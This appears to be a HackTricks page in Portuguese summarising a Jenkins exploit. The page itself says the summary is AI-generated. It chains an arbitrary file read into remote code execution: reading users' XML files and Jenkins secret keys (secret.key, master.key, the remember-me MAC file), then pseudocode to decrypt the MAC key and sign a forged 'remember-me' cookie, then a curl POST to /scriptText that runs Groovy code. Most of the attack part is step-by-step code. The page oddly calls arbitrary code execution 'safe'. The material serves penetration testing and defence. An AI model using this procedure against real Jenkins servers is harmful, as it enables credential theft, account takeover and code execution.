Jenkins Arbitrary File Read to RCE via "Remember Me"
Reading time: 4 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Neste post do blog, é possível encontrar uma ótima maneira de transformar uma vulnerabilidade de Inclusão de Arquivo Local no Jenkins em RCE: https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/
Este é um resumo criado por IA da parte do post onde a criação de um cookie arbitrário é abusada para obter RCE, explorando uma leitura de arquivo local até que eu tenha tempo para criar um resumo por conta própria:
Pré-requisitos do Ataque
- Requisito de Funcionalidade: "Lembre-se de mim" deve estar ativado (configuração padrão).
- Níveis de Acesso: O atacante precisa de permissões Gerais/Leitura.
- Acesso Secreto: Capacidade de ler tanto conteúdo binário quanto textual de arquivos-chave.
Processo Detalhado de Exploração
Passo 1: Coleta de Dados
Recuperação de Informações do Usuário
- Acesse a configuração do usuário e segredos de
$JENKINS_HOME/users/*.xml
para cada usuário para coletar: - Nome de Usuário
- Semente do Usuário
- Timestamp
- Hash da Senha
Extração da Chave Secreta
- Extraia chaves criptográficas usadas para assinar o cookie:
- Chave Secreta:
$JENKINS_HOME/secret.key
- Chave Mestra:
$JENKINS_HOME/secrets/master.key
- Arquivo da Chave MAC:
$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac
Passo 2: Forjamento de Cookie
Preparação do Token
- Calcular Tempo de Expiração do Token:
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Adiciona uma hora ao tempo atual
- Concatenar Dados para o Token:
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
Descriptografia da Chave MAC
- Descriptografar o Arquivo da Chave MAC:
key = toAes128Key(masterKey) // Converter chave mestra para formato de chave AES128
decrypted = AES.decrypt(macFile, key) // Descriptografar o arquivo .mac
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")
Cálculo da Assinatura
- Calcular HMAC SHA256:
mac = HmacSHA256(token, macKey) // Calcular HMAC usando o token e a chave MAC
tokenSignature = bytesToHexString(mac) // Converter o MAC para uma string hexadecimal
Codificação do Cookie
- Gerar Cookie Final:
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Codificar os dados do cookie em Base64
Passo 3: Execução de Código
Autenticação de Sessão
- Buscar Tokens CSRF e de Sessão:
- Faça uma solicitação para
/crumbIssuer/api/json
para obterJenkins-Crumb
. - Capture
JSESSIONID
da resposta, que será usado em conjunto com o cookie de lembrete.
Solicitação de Execução de Comando
- Enviar uma Solicitação POST com Script Groovy:
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
- O script Groovy pode ser usado para executar comandos em nível de sistema ou outras operações dentro do ambiente Jenkins.
O exemplo de comando curl fornecido demonstra como fazer uma solicitação ao Jenkins com os cabeçalhos e cookies necessários para executar código arbitrário de forma segura.
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.